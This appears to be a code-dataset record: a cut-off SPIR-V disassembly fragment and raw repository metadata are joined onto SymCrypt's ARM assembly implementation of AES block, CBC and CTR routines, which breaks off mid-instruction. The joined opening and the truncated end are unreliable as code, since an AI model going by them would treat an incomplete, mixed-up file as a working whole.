OpStore %157 %175 OpBranch %155 %155 = OpLabel OpReturn OpFunctionEnd %10 = OpFunction %2 None %8 %9 = OpFunctionParameter %7 %11 = OpLabel %61 = OpVariable %7 Function %23 = OpLoad %6 %9 %25 = OpSLessThan %22 %23 %24 %26 = OpLogicalNot %22 %25 OpSelectionMerge %28 None OpBranchConditional %26 %27 %28 %27 = OpLabel %29 = OpLoad %6 %9 %30 = OpSGreaterThan %22 %29 %24 OpSelectionMerge %32 None OpBranchConditional %30 %31 %32 %31 = OpLabel %38 = OpAccessChain %37 %35 %36 %39 = OpLoad %14 %38 %46 = OpAccessChain %37 %45 %36 %36 %47 = OpLoad %14 %46 %48 = OpFOrdGreaterThan %22 %39 %47 OpBranch %32 %32 = OpLabel %49 = OpPhi %22 %30 %27 %48 %31 OpBranch %28 %28 = OpLabel %50 = OpPhi %22 %25 %11 %49 %32 OpSelectionMerge %52 None OpBranchConditional %50 %51 %52 %51 = OpLabel OpReturn %52 = OpLabel %54 = OpAccessChain %37 %35 %36 %55 = OpLoad %14 %54 %56 = OpAccessChain %37 %45 %36 %36 %57 = OpLoad %14 %56 %58 = OpFOrdEqual %22 %55 %57 OpSelectionMerge %60 None OpBranchConditional %58 %59 %60 %59 = OpLabel OpStore %61 %36 OpBranch %62 %62 = OpLabel OpLoopMerge %64 %65 None OpBranch %66 %66 = OpLabel %67 = OpLoad %6 %61 %69 = OpSLessThan %22 %67 %68 OpBranchConditional %69 %63 %64 %63 = OpLabel %70 = OpLoad %6 %9 %72 = OpExtInst %6 %1 SClamp %70 %36 %71 %73 = OpLoad %6 %61 %74 = OpAccessChain %37 %45 %36 %36 %75 = OpLoad %14 %74 %77 = OpAccessChain %76 %18 %72 %73 %78 = OpLoad %14 %77 %79 = OpFAdd %14 %78 %75 %80 = OpAccessChain %76 %18 %72 %73 OpStore %80 %79 OpBranch %65 %65 = OpLabel %81 = OpLoad %6 %61 %82 = OpIAdd %6 %81 %24 OpStore %61 %82 OpBranch %62 %64 = OpLabel OpBranch %60 %60 = OpLabel OpReturn OpFunctionEnd %12 = OpFunction %2 None %3 %13 = OpLabel %93 = OpVariable %7 Function %87 = OpAccessChain %86 %85 %41 %88 = OpLoad %14 %87 %89 = OpFOrdLessThan %22 %88 %19 OpSelectionMerge %91 None OpBranchConditional %89 %90 %91 %90 = OpLabel OpReturn %91 = OpLabel OpStore %93 %24 %94 = OpFunctionCall %2 %10 %93 OpReturn OpFunctionEnd
36.195313
61
0.499892
580ec50fe342c42bb3a0d81b1e101ac7436b66d4
36,955
asm
Assembly
lib/arm/aesasm.asm
microsoft/SymCrypt
0f83207858253be11f473dced88b146895004419
[ "MIT" ]
170
2019-05-07T01:45:42.000Z
2022-03-28T19:02:38.000Z
lib/arm/aesasm.asm
microsoft/SymCrypt
0f83207858253be11f473dced88b146895004419
[ "MIT" ]
15
2019-05-07T01:25:48.000Z
2022-03-22T13:51:49.000Z
lib/arm/aesasm.asm
microsoft/SymCrypt
0f83207858253be11f473dced88b146895004419
[ "MIT" ]
31
2019-05-07T07:49:21.000Z
2022-03-27T03:15:43.000Z
; ; AesAsm.asm Assembler code for fast AES on ARM ; ; Copyright (c) Microsoft Corporation. Licensed under the MIT license. ; ; This code is derived from the AMD64 version of the AesFast ; implementation, developed by Niels Ferguson. For questions ; about the ARM specifics, contact Aaron Giles. ; #include "kxarm.h" ; As Arm assembler already uses C preprocessor, we can just hardcode this asm to include constants ; MASM for now. To be fixed properly when converting arm64 asm to symcryptasm. #define SYMCRYPT_MASM #include "C_asm_shared.inc" #undef SYMCRYPT_MASM #include "symcrypt_magic.inc" TTL "Advanced Encryption Standard (AES)" ; ; typedef SYMCRYPT_ALIGN_STRUCT _SYMCRYPT_AES_EXPANDED_KEY { ; SYMCRYPT_ALIGN BYTE RoundKey[29][4][4]; ; // Round keys, first the encryption round keys in encryption order, ; // followed by the decryption round keys in decryption order. ; // The first decryption round key is the last encryption round key. ; // AES-256 has 14 rounds and thus 15 round keys for encryption and 15 ; // for decryption. As they share one round key, we need room for 29. ; BYTE (*lastEncRoundKey)[4][4]; // Pointer to last encryption round key ; // also the first round key for decryption ; BYTE (*lastDecRoundKey)[4][4]; // Pointer to last decryption round key. ; ; SYMCRYPT_MAGIC_FIELD ; } SYMCRYPT_AES_EXPANDED_KEY, *PSYMCRYPT_AES_EXPANDED_KEY; ; #define SYMCRYPT_AES_EXPANDED_KEY_RoundKey (0) #define SYMCRYPT_AES_EXPANDED_KEY_lastEncRoundKey (29*4*4) #define SYMCRYPT_AES_EXPANDED_KEY_lastDecRoundKey (29*4*4+4) #if SYMCRYPT_DEBUG #define SYMCRYPT_AES_EXPANDED_KEY_magic (29*4*4+4+4) #endif IMPORT SymCryptAesSboxMatrixMult IMPORT SymCryptAesInvSboxMatrixMult IMPORT SymCryptAesInvSbox MACRO ENC_MIX $keyptr ; ; Perform the unkeyed mixing function for encryption ; plus a key addition from the key pointer ; ; Input: ; r0,r1,r2,r3 = current block ; $keyptr = pointer to current key ; r12 = pointer to AesSboxMatrixMult ; ; Output: ; r0,r1,r2,r3 = updated block ; $keyptr = updated to point to following key ; r12 = unmodified ; ; Used: ; r4,r5,r6,r7,lr are modified ; ; N.B. To make better use of ARM's barrel shifter, this code differs ; from the AMD64 approach. The first lookups are not rotated; ; instead all subsequent lookups are applied on top rotated, and ; then a final rotation is performed to shift the bits into the ; proper spot. ; uxtb r4, r0 ; extract individual bytes from r0 uxtb r7, r0, ror #8 ; uxtb r6, r0, ror #16 ; uxtb r5, r0, ror #24 ; ldr r4, [r12, r4, lsl #2] ; perform lookups of each byte, leaving ldr r7, [r12, r7, lsl #2] ; the values unrotated for now ldr r6, [r12, r6, lsl #2] ; ldr r5, [r12, r5, lsl #2] ; uxtb r0, r1 ; extract individual bytes from r1 uxtb lr, r1, ror #8 ; (with 1 more register we could do 4 at a time) ldr r0, [r12, r0, lsl #2] ; perform lookups ldr lr, [r12, lr, lsl #2] ; eor r5, r5, r0, ror #24 ; exclusive-OR with previous eor r4, r4, lr, ror #24 ; uxtb r0, r1, ror #16 ; extract remaining bytes from r1 uxtb r1, r1, ror #24 ; ldr r0, [r12, r0, lsl #2] ; perform lookups ldr r1, [r12, r1, lsl #2] ; eor r7, r7, r0, ror #24 ; exclusive-OR with previous eor r6, r6, r1, ror #24 ; uxtb r0, r2 ; extract individual bytes from r2 uxtb r1, r2, ror #8 ; uxtb lr, r2, ror #16 ; uxtb r2, r2, ror #24 ; ldr r0, [r12, r0, lsl #2] ; perform lookups ldr r1, [r12, r1, lsl #2] ; ldr lr, [r12, lr, lsl #2] ; ldr r2, [r12, r2, lsl #2] ; eor r6, r6, r0, ror #16 ; exclusive-OR with previous eor r5, r5, r1, ror #16 ; eor r4, r4, lr, ror #16 ; eor r7, r7, r2, ror #16 ; uxtb r0, r3 ; extract individual bytes from r3 uxtb r1, r3, ror #8 ; uxtb r2, r3, ror #16 ; uxtb r3, r3, ror #24 ; ldr r0, [r12, r0, lsl #2] ; perform lookups ldr r1, [r12, r1, lsl #2] ; ldr r2, [r12, r2, lsl #2] ; ldr r3, [r12, r3, lsl #2] ; eor r7, r7, r0, ror #8 ; exclusive-OR with previous eor r6, r6, r1, ror #8 ; eor r5, r5, r2, ror #8 ; eor r4, r4, r3, ror #8 ; ldrd r0, r1, [$keyptr, #0] ; fetch key into r0-r3 ldrd r2, r3, [$keyptr, #8] ; adds $keyptr, $keyptr, #16 ; increment key pointer eors r0, r0, r4 ; exclusive-OR the key and rotate into final eor r1, r1, r5, ror #8 ; position eor r2, r2, r6, ror #16 ; eor r3, r3, r7, ror #24 ; MEND MACRO DEC_MIX $keyptr ; ; Perform the unkeyed mixing function for decryption ; ; Input: ; r0,r1,r2,r3 = current block ; $keyptr = pointer to current key ; r12 = pointer to AesInvSboxMatrixMult ; ; Output: ; r0,r1,r2,r3 = updated block ; $keyptr = updated to point to following key ; r12 = unmodified ; ; Used: ; r4,r5,r6,r7,lr are modified ; ; N.B. To make better use of ARM's barrel shifter, this code differs ; from the AMD64 approach. The first lookups are not rotated; ; instead all subsequent lookups are applied on top rotated, and ; then a final rotation is performed to shift the bits into the ; proper spot. ; uxtb r4, r0 ; extract individual bytes from r0 uxtb r5, r0, ror #8 ; uxtb r6, r0, ror #16 ; uxtb r7, r0, ror #24 ; ldr r4, [r12, r4, lsl #2] ; perform lookups of each byte, leaving ldr r5, [r12, r5, lsl #2] ; the values unrotated for now ldr r6, [r12, r6, lsl #2] ; ldr r7, [r12, r7, lsl #2] ; uxtb r0, r1 ; extract individual bytes from r1 uxtb lr, r1, ror #8 ; (with 1 more register we could do 4 at a time) ldr r0, [r12, r0, lsl #2] ; perform lookups ldr lr, [r12, lr, lsl #2] ; eor r5, r5, r0, ror #8 ; exclusive-OR with previous eor r6, r6, lr, ror #8 ; uxtb r0, r1, ror #16 ; extract remaining bytes from r1 uxtb r1, r1, ror #24 ; ldr r0, [r12, r0, lsl #2] ; perform lookups ldr r1, [r12, r1, lsl #2] ; eor r7, r7, r0, ror #8 ; exclusive-OR with previous eor r4, r4, r1, ror #8 ; uxtb r0, r2 ; extract individual bytes from r2 uxtb r1, r2, ror #8 ; uxtb lr, r2, ror #16 ; uxtb r2, r2, ror #24 ; ldr r0, [r12, r0, lsl #2] ; perform lookups ldr r1, [r12, r1, lsl #2] ; ldr lr, [r12, lr, lsl #2] ; ldr r2, [r12, r2, lsl #2] ; eor r6, r6, r0, ror #16 ; exclusive-OR with previous eor r7, r7, r1, ror #16 ; eor r4, r4, lr, ror #16 ; eor r5, r5, r2, ror #16 ; uxtb r0, r3 ; extract individual bytes from r3 uxtb r1, r3, ror #8 ; uxtb r2, r3, ror #16 ; uxtb r3, r3, ror #24 ; ldr r0, [r12, r0, lsl #2] ; perform lookups ldr r1, [r12, r1, lsl #2] ; ldr r2, [r12, r2, lsl #2] ; ldr r3, [r12, r3, lsl #2] ; eor r7, r7, r0, ror #24 ; exclusive-OR with previous eor r4, r4, r1, ror #24 ; eor r5, r5, r2, ror #24 ; eor r6, r6, r3, ror #24 ; ldrd r0, r1, [$keyptr, #0] ; fetch key into r0-r3 ldrd r2, r3, [$keyptr, #8] ; adds $keyptr, $keyptr, #16 ; increment key pointer eors r0, r0, r4 ; exclusive-OR the key and rotate into final eor r1, r1, r5, ror #24 ; position eor r2, r2, r6, ror #16 ; eor r3, r3, r7, ror #8 ; MEND MACRO AES_ENCRYPT ; ; Input: ; r0,r1,r2,r3 = plaintext ; r8 = pointer to first round key to use ; r9 = pointer to last key to use ; r12 = pointer to AesSboxMatrixMult ; ; Output: ; r4,r5,r6,r7 = ciphertext ; r8 = modified to point to last key ; r9 = unmodified ; r12 = unmodified ; ; Used: ; lr is also modified ; ; ; xor in first round key ; ldrd r4, r5, [r8, #0] ; fetch key in r4-r7 ldrd r6, r7, [r8, #8] ; eors r0, r0, r4 ; exclusive-OR with the plaintext eors r1, r1, r5 ; eors r2, r2, r6 ; eors r3, r3, r7 ; add r8, r8, #16 ; point to second key 1 ; ; Block is r0,r1,r2,r3 ; r8 points to current round key ; ENC_MIX r8 ; encrypt the block and increment key cmp r8, r9 ; are we at the end? blo %B1 ; loop until it is so ; ; Now for the final round ; We use the fact that SboxMatrixMult[0] table is also ; an Sbox table if you use the second element of each entry. ; ; Result is in r4,r5,r6,r7 ; add r12, r12, #1 ; advance by 1 to point to second element uxtb r4, r0 ; extract individual bytes from r0 uxtb r7, r0, ror #8 ; uxtb r6, r0, ror #16 ; uxtb r5, r0, ror #24 ; ldrb r4, [r12, r4, lsl #2] ; perform lookups of each byte, leaving ldrb r7, [r12, r7, lsl #2] ; the values unrotated for now ldrb r6, [r12, r6, lsl #2] ; ldrb r5, [r12, r5, lsl #2] ; uxtb r0, r1 ; extract individual bytes from r1 uxtb lr, r1, ror #8 ; (with 1 more register we could do 4 at a time) ldrb r0, [r12, r0, lsl #2] ; perform lookups ldrb lr, [r12, lr, lsl #2] ; orr r5, r5, r0, lsl #8 ; merge with previous orr r4, r4, lr, lsl #8 ; uxtb r0, r1, ror #16 ; extract remaining bytes from r1 uxtb r1, r1, ror #24 ; ldrb r0, [r12, r0, lsl #2] ; perform lookups ldrb r1, [r12, r1, lsl #2] ; orr r7, r7, r0, lsl #8 ; merge with previous orr r6, r6, r1, lsl #8 ; uxtb r0, r2 ; extract individual bytes from r2 uxtb r1, r2, ror #8 ; uxtb lr, r2, ror #16 ; uxtb r2, r2, ror #24 ; ldrb r0, [r12, r0, lsl #2] ; perform lookups ldrb r1, [r12, r1, lsl #2] ; ldrb lr, [r12, lr, lsl #2] ; ldrb r2, [r12, r2, lsl #2] ; orr r6, r6, r0, lsl #16 ; merge with previous orr r5, r5, r1, lsl #16 ; orr r4, r4, lr, lsl #16 ; orr r7, r7, r2, lsl #16 ; uxtb r0, r3 ; extract individual bytes from r3 uxtb r1, r3, ror #8 ; uxtb r2, r3, ror #16 ; uxtb r3, r3, ror #24 ; ldrb r0, [r12, r0, lsl #2] ; perform lookups ldrb r1, [r12, r1, lsl #2] ; ldrb r2, [r12, r2, lsl #2] ; ldrb r3, [r12, r3, lsl #2] ; orr r7, r7, r0, lsl #24 ; merge with previous orr r6, r6, r1, lsl #24 ; orr r5, r5, r2, lsl #24 ; orr r4, r4, r3, lsl #24 ; sub r12, r12, #1 ; put r12 back to its original value ; ; xor in final round key ; ldrd r0, r1, [r9, #0] ; fetch key into r0-r3 ldrd r2, r3, [r9, #8] ; eors r4, r4, r0 ; exclusive-OR the key and rotate into final eor r5, r1, r5, ror #8 ; position eor r6, r2, r6, ror #16 ; eor r7, r3, r7, ror #24 ; MEND MACRO AES_DECRYPT ; ; Input: ; r0,r1,r2,r3 = ciphertext ; r8 = pointer to first round key to use ; r9 = pointer to last key to use ; r10 = pointer to InvSbox ; r12 = pointer to InvSboxMatrixMult ; ; Output: ; r4,r5,r6,r7 = plaintext ; r8 = modified to point to last key ; r9 = unmodified ; r10 = unmodified ; r12 = unmodified ; ; Used: ; lr is also modified ; ; ; xor in first round key ; ldrd r4, r5, [r8, #0] ; fetch key in r4-r7 ldrd r6, r7, [r8, #8] ; eors r0, r0, r4 ; exclusive-OR with the plaintext eors r1, r1, r5 ; eors r2, r2, r6 ; eors r3, r3, r7 ; add r8, r8, #16 ; point to second key 1 ; ; Block is r0, r1, r2, r3 ; r8 points to current round key ; DEC_MIX r8 ; decrypt the block and increment key cmp r8, r9 ; are we at the end? blo %B1 ; loop until it is so ; ; Now for the final round ; Result is in r4, r5, r6, r7 ; uxtb r4, r0 ; extract individual bytes from r0 uxtb r5, r0, ror #8 ; uxtb r6, r0, ror #16 ; uxtb r7, r0, ror #24 ; ldrb r4, [r10, r4] ; perform lookups of each byte, leaving ldrb r5, [r10, r5] ; the values unrotated for now ldrb r6, [r10, r6] ; ldrb r7, [r10, r7] ; uxtb r0, r1 ; extract individual bytes from r1 uxtb lr, r1, ror #8 ; (with 1 more register we could do 4 at a time) ldrb r0, [r10, r0] ; perform lookups ldrb lr, [r10, lr] ; orr r5, r5, r0, lsl #24 ; merge with previous orr r6, r6, lr, lsl #24 ; uxtb r0, r1, ror #16 ; extract remaining bytes from r1 uxtb r1, r1, ror #24 ; ldrb r0, [r10, r0] ; perform lookups ldrb r1, [r10, r1] ; orr r7, r7, r0, lsl #24 ; merge with previous orr r4, r4, r1, lsl #24 ; uxtb r0, r2 ; extract individual bytes from r2 uxtb r1, r2, ror #8 ; uxtb lr, r2, ror #16 ; uxtb r2, r2, ror #24 ; ldrb r0, [r10, r0] ; perform lookups ldrb r1, [r10, r1] ; ldrb lr, [r10, lr] ; ldrb r2, [r10, r2] ; orrs r6, r6, r0, lsl #16 ; merge with previous orr r7, r7, r1, lsl #16 ; orr r4, r4, lr, lsl #16 ; orr r5, r5, r2, lsl #16 ; uxtb r0, r3 ; extract individual bytes from r3 uxtb r1, r3, ror #8 ; uxtb r2, r3, ror #16 ; uxtb r3, r3, ror #24 ; ldrb r0, [r10, r0] ; perform lookups ldrb r1, [r10, r1] ; ldrb r2, [r10, r2] ; ldrb r3, [r10, r3] ; orr r7, r7, r0, lsl #8 ; merge with previous orr r4, r4, r1, lsl #8 ; orr r5, r5, r2, lsl #8 ; orr r6, r6, r3, lsl #8 ; ; ; xor in final round key ; ldrd r0, r1, [r9, #0] ; fetch key into r0-r3 ldrd r2, r3, [r9, #8] ; eors r4, r4, r0 ; exclusive-OR the key and rotate into final eor r5, r1, r5, ror #24 ; position eor r6, r2, r6, ror #16 ; eor r7, r3, r7, ror #8 ; MEND ; ; VOID ; SYMCRYPT_CALL ; SymCryptAesEncrypt( _In_ PCSYMCRYPT_AES_EXPANDED_KEY pExpandedKey, ; _In_reads_bytes_( SYMCRYPT_AES_BLOCK_LEN ) PCBYTE pbPlaintext, ; _Out_writes_bytes_( SYMCRYPT_AES_BLOCK_LEN ) PBYTE pbCiphertext ); ; NESTED_ENTRY SymCryptAesEncryptAsm ; ; Input parameters: ; r0 = pExpandedKey ; r1 = pbPlaintext ; r2 = pbCiphertext ; PROLOG_PUSH {r2, r4-r11, lr} ; ; Stack layout: ; [sp] = r2 = pbCipherText ; SYMCRYPT_CHECK_MAGIC r4, r5, r0, SYMCRYPT_AES_EXPANDED_KEY_magic ldr r9, [r0, #SYMCRYPT_AES_EXPANDED_KEY_lastEncRoundKey] ; r9 = last key mov r8, r0 ; r8 = first key mov32 r12, SymCryptAesSboxMatrixMult ; r12 = matrix mult table ldr r0, [r1, #0] ; load the plaintext ldr r2, [r1, #8] ; ldr r3, [r1, #12] ; ldr r1, [r1, #4] ; AES_ENCRYPT ; encrypt ; ; Plaintext in r0, r1, r2, r3 ; r8 points to first round key to use ; r9 is last key to use (unchanged) ; r12 points to SboxMatrixMult (unchanged) ; Ciphertext ends up in r4, r5, r6, r7 ; ldr r0, [sp] ; recover pbCipherText str r4, [r0, #0] ; store the encrypted data str r5, [r0, #4] ; str r6, [r0, #8] ; str r7, [r0, #12] ; EPILOG_POP {r2, r4-r11, pc} ; return NESTED_END SymCryptAesEncryptAsm ; ; VOID ; SYMCRYPT_CALL ; SymCryptAesDecrypt( _In_ PCSYMCRYPT_AES_EXPANDED_KEY pExpandedKey, ; _In_reads_bytes_( SYMCRYPT_AES_BLOCK_LEN ) PCBYTE pbCiphertext, ; _Out_writes_bytes_( SYMCRYPT_AES_BLOCK_LEN ) PBYTE pbPlaintext ); ; NESTED_ENTRY SymCryptAesDecryptAsm ; ; Input parameters: ; r0 = pExpandedKey ; r1 = pbCiphertext ; r2 = pbPlaintext ; PROLOG_PUSH {r2, r4-r11, lr} ; ; Stack layout: ; [sp] = r2 = pbPlaintext ; SYMCRYPT_CHECK_MAGIC r4, r5, r0, SYMCRYPT_AES_EXPANDED_KEY_magic ldr r8, [r0, #SYMCRYPT_AES_EXPANDED_KEY_lastEncRoundKey] ; r8 = first key ldr r9, [r0, #SYMCRYPT_AES_EXPANDED_KEY_lastDecRoundKey] ; r9 = last key mov32 r10, SymCryptAesInvSbox ; r10 = inverse sbox table mov32 r12, SymCryptAesInvSboxMatrixMult ; r11 = inverse matrix mult table ldr r0, [r1, #0] ; load the ciphertext ldr r2, [r1, #8] ; ldr r3, [r1, #12] ; ldr r1, [r1, #4] ; AES_DECRYPT ; decrypt ; ; Ciphertext in r0, r1, r2, r3 ; r8 points to first round key to use ; r9 is last key to use (unchanged) ; r10 points to InvSbox (unchanged) ; r12 points to InvSboxMatrixMult (unchanged) ; Ciphertext ends up in r4, r5, r6, r7 ; ldr r0, [sp] ; recover pbPlaintext str r4, [r0, #0] ; store the decrypted data str r5, [r0, #4] ; str r6, [r0, #8] ; str r7, [r0, #12] ; EPILOG_POP {r2, r4-r11, pc} ; return NESTED_END SymCryptAesDecryptAsm ; ; VOID ; SYMCRYPT_CALL ; SymCryptAesCbcEncrypt( ; _In_ PCSYMCRYPT_AES_EXPANDED_KEY pExpandedKey, ; _In_reads_bytes_( SYMCRYPT_AES_BLOCK_SIZE ) PBYTE pbChainingValue, ; _In_reads_bytes_( cbData ) PCBYTE pbSrc, ; _Out_writes_bytes_( cbData ) PBYTE pbDst, ; SIZE_T cbData ); NESTED_ENTRY SymCryptAesCbcEncryptAsm ; ; Input parameters: ; r0 = pExpandedKey ; r1 = pbChainingValue ; r2 = pbSrc ; r3 = pbDst ; [sp] = cbData ; PROLOG_PUSH {r0-r2, r4-r11, lr} PROLOG_STACK_ALLOC 16 ; ; Stack layout: ; [sp] = pbSrc ; [sp+4] = pbSrcEnd ; [sp+16] = r0 = pbExpandedKey ; [sp+20] = r1 = pbChainingValue ; [sp+24] = r2 = pbSrc ; [sp+64] = cbData ; SYMCRYPT_CHECK_MAGIC r4, r5, r0, SYMCRYPT_AES_EXPANDED_KEY_magic pld [r2] ; prefetch source data ldr r4, [sp, #64] ; r4 = cbData mov r8, r2 ; r8 = pbSrc on loop entry ldr r9, [r0, #SYMCRYPT_AES_EXPANDED_KEY_lastEncRoundKey] ; r9 = last enc round key (invariant) mov r10, r3 ; r10 = pbDst mov32 r12, SymCryptAesSboxMatrixMult ; r12 = pointer to lookup table (invariant) bics r4, r4, #15 ; r4 &= ~15 beq SymCryptAesCbcEncryptNoData ; skip if no data adds r4, r4, r2 ; r4 = pbSrc + cbData strd r2, r4, [sp] ; save pbSrc/pbSrcEnd at [sp] pld [r8, #32] ; prefetch source data ldr r4, [r1, #0] ; load chaining state from pbChainingValue ldr r5, [r1, #4] ; ldr r6, [r1, #8] ; ldr r7, [r1, #12] ; SymCryptAesCbcEncryptAsmLoop ; ; Loop register setup ; r4,r5,r6,r7 = chaining state ; r8 = pbSrc ; r9 = last round key to use ; r10 = pbDst ; r12 = SboxMatrixMult ; ldr r0, [r8] ; read next 16 bytes of plaintext ldr r1, [r8, #4] ; ldr r2, [r8, #8] ; ldr r3, [r8, #12] ; pld [r8, #64] ; prefetch source data add r8, r8, #16 ; pbSrc += 16 str r8, [sp] ; save it eors r0, r0, r4 ; exclusive-OR against chaining value eors r1, r1, r5 ; eors r2, r2, r6 ; eors r3, r3, r7 ; ldr r8, [sp, #16] ; r8 = first round key AES_ENCRYPT ; encrypt ; ; Plaintext in r0, r1, r2, r3 ; r8 points to first round key to use ; r9 is last key to use (unchanged) ; r12 points to SboxMatrixMult (unchanged) ; Ciphertext ends up in r4, r5, r6, r7 ; ldrd r8, r0, [sp] ; fetch pbSrc/pbSrcEnd str r4, [r10, #0] ; write ciphertext str r5, [r10, #4] ; str r6, [r10, #8] ; str r7, [r10, #12] ; add r10, r10, #16 ; pbDst += 16 cmp r8, r0 ; are we at the end of source? blo SymCryptAesCbcEncryptAsmLoop ; loop until we are ldr r0, [sp, #20] ; r0 = pbChainingValue str r4, [r0, #0] ; update the chaining value str r5, [r0, #4] ; str r6, [r0, #8] ; str r7, [r0, #12] ; SymCryptAesCbcEncryptNoData EPILOG_STACK_FREE 16 EPILOG_POP {r0-r2, r4-r11, pc} ; return NESTED_END SymCryptAesCbcEncryptAsm ; ; VOID ; SYMCRYPT_CALL ; SymCryptAesCbcDecrypt( ; _In_ PCSYMCRYPT_AES_EXPANDED_KEY pExpandedKey, ; _In_reads_bytes_( SYMCRYPT_AES_BLOCK_SIZE ) PBYTE pbChainingValue, ; _In_reads_bytes_( cbData ) PCBYTE pbSrc, ; _Out_writes_bytes_( cbData ) PBYTE pbDst, ; SIZE_T cbData ); NESTED_ENTRY SymCryptAesCbcDecryptAsm ; ; Input parameters: ; r0 = pExpandedKey ; r1 = pbChainingValue ; r2 = pbSrc ; r3 = pbDst ; [sp] = cbData ; PROLOG_PUSH {r0-r2, r4-r11, lr} PROLOG_STACK_ALLOC 32 ; ; Stack layout: ; [sp] = pbSrc ; [sp+4] = pbDst ; [sp+8] = pbSrcEnd ; [sp+16] = saved chaining value ; [sp+32] = r0 = pbExpandedKey ; [sp+36] = r1 = pbChainingValue ; [sp+40] = r2 = pbSrc ; [sp+80] = cbData ; SYMCRYPT_CHECK_MAGIC r4, r5, r0, SYMCRYPT_AES_EXPANDED_KEY_magic ldr r4, [sp, #80] ; r4 = cbData bics r4, r4, #15 ; r4 &= ~15 beq SymCryptAesCbcDecryptNoData ; skip if no data ldr r9, [r0, #SYMCRYPT_AES_EXPANDED_KEY_lastDecRoundKey] ; r9 = last enc round key (invariant) ldr r8, [r0, #SYMCRYPT_AES_EXPANDED_KEY_lastEncRoundKey] subs r4, r4, #16 adds r3, r3, r4 adds r2, r2, r4 pld [r2] ; prefetch source data str r3, [sp, #4] str r2, [sp, #0] str r8, [sp, #8] mov32 r10, SymCryptAesInvSbox mov32 r12, SymCryptAesInvSboxMatrixMult ; ; Load last ciphertext block & save on stack (we need to put it in the pbChaining buffer later) ; pld [r2, #-32] ; prefetch source data ldr r0, [r2, #0] ldr r1, [r2, #4] ldr r3, [r2, #12] ldr r2, [r2, #8] strd r0, r1, [sp, #16] strd r2, r3, [sp, #24] b SymCryptAesCbcDecryptAsmLoopEntry SymCryptAesCbcDecryptAsmLoop ; Loop register setup ; r13 = first round key to use ; r14 = pbSrc ; r15 = pbDst ; [callerP3Home] = pbSrcStart ; current ciphertext block (esi,edi,ebp,r8d) ldr r0, [r8, #-16] ldr r1, [r8, #-12] ldr r2, [r8, #-8] ldr r3, [r8, #-4] pld [r8, #-64] ; prefetch source data eors r4, r4, r0 eors r5, r5, r1 eors r6, r6, r2 eors r7, r7, r3 str r4, [lr, #0] str r5, [lr, #4] str r6, [lr, #8] str r7, [lr, #12] sub lr, lr, #16 sub r8, r8, #16 strd r8, lr, [sp, #0] SymCryptAesCbcDecryptAsmLoopEntry ldr r8, [sp, #8] AES_DECRYPT ldrd r8, lr, [sp, #0] ldr r0, [sp, #40] cmp r8, r0 bhi SymCryptAesCbcDecryptAsmLoop ldr r8, [sp, #36] ; r8 = pbChainingValue ldr r0, [r8, #0] ldr r1, [r8, #4] ldr r2, [r8, #8] ldr r3, [r8, #12] eors r4, r4, r0 eors r5, r5, r1 eors r6, r6, r2 eors r7, r7, r3 str r4, [lr, #0] str r5, [lr, #4] str r6, [lr, #8] str r7, [lr, #12] ; ; Update the chaining value to the last ciphertext block ; ldrd r0, r1, [sp, #16] ldrd r2, r3, [sp, #24] str r0, [r8, #0] str r1, [r8, #4] str r2, [r8, #8] str r3, [r8, #12] SymCryptAesCbcDecryptNoData EPILOG_STACK_FREE 32 EPILOG_POP {r0-r2, r4-r11, pc} NESTED_END SymCryptAesCbcDecryptAsm ; ; VOID ; SYMCRYPT_CALL ; SymCryptAesCtrMsb64( ; _In_ PCSYMCRYPT_AES_EXPANDED_KEY pExpandedKey, ; _In_reads_bytes_( SYMCRYPT_AES_BLOCK_SIZE ) PBYTE pbChainingValue, ; _In_reads_bytes_( cbData ) PCBYTE pbSrc, ; _Out_writes_bytes_( cbData ) PBYTE pbDst, ; SIZE_T cbData ); NESTED_ENTRY SymCryptAesCtrMsb64Asm ; ; Input parameters: ; r0 = pExpandedKey ; r1 = pbChainingValue ; r2 = pbSrc ; r3 = pbDst ; [sp] = cbData ; PROLOG_PUSH {r0-r2, r4-r11, lr} PROLOG_STACK_ALLOC 32 ; ; Stack layout: ; [sp] = pbDst ; [sp+4] = pbSrcEnd ; [sp+16] = local copy of chaining data ; [sp+32] = r0 = pbExpandedKey ; [sp+36] = r1 = pbChainingValue ; [sp+40] = r2 = pbSrc ; [sp+80] = cbData ; SYMCRYPT_CHECK_MAGIC r4, r5, r0, SYMCRYPT_AES_EXPANDED_KEY_magic pld [r2] ; prefetch source data ldr r4, [sp, #80] ; r4 = cbData ldr r9, [r0, #SYMCRYPT_AES_EXPANDED_KEY_lastEncRoundKey] ; r9 = last enc round key (invariant) mov r10, r2 ; r10 = pbSrc mov32 r12, SymCryptAesSboxMatrixMult ; r12 = pointer to lookup table (invariant) bics r4, r4, #15 ; r4 &= ~15 beq SymCryptAesCtrMsb64NoData ; skip if no data adds r4, r4, r2 ; r4 = pbSrc + cbData strd r3, r4, [sp] ; save pbDst/pbSrcEnd at [sp] pld [r10, #32] ; prefetch source data mov r3, r1 ; load chaining state from pbChainingValue ldr r0, [r3, #0] ; ldr r1, [r3, #4] ; ldr r2, [r3, #8] ; ldr r3, [r3, #12] ; strd r0, r1, [sp, #16] ; save a local copy strd r2, r3, [sp, #24] ; SymCryptAesCtrMsb64AsmLoop ; ; Loop register setup ; r0,r1,r2,r3 = chaining state ; r8 = pbSrc ; r9 = last round key to use ; r10 = pbSrc ; r12 = SboxMatrixMult ; ldr r8, [sp, #32] ; r8 = first round key AES_ENCRYPT ; ; Plaintext in r0, r1, r2, r3 ; r8 points to first round key to use ; r9 is last key to use (unchanged) ; r12 points to SboxMatrixMult (unchanged) ; Ciphertext ends up in r4, r5, r6, r7 ; ldr r0, [r10, #0] ; load plaintext ldr r1, [r10, #4] ; ldr r2, [r10, #8] ; ldr r3, [r10, #12] ; pld [r10, #64] ; prefetch source data ldrd r8, lr, [sp] ; fetch pbDst/pbSrcEnd eors r0, r0, r4 ; exclusive-OR against encrypt results eors r1, r1, r5 ; eors r2, r2, r6 ; eors r3, r3, r7 ; str r0, [r8, #0] ; store to destination str r1, [r8, #4] ; str r2, [r8, #8] ; str r3, [r8, #12] ; ldrd r0, r1, [sp, #16] ; load chaining state ldrd r2, r3, [sp, #24] ; add r8, r8, #16 ; pbDst += 16 add r10, r10, #16 ; pbSrc += 16 str r8, [sp] ; save pbDst rev r3, r3 ; reverse the second qword rev r2, r2 ; adds r3, r3, #1 ; increment the counter adcs r2, r2, #0 ; rev r3, r3 ; re-reverse the second word rev r2, r2 ; strd r2, r3, [sp, #24] ; write updated state cmp r10, lr ; done? blo SymCryptAesCtrMsb64AsmLoop ; loop until finished ldr r0, [sp, #36] ; get pbChainingValue movs r1, 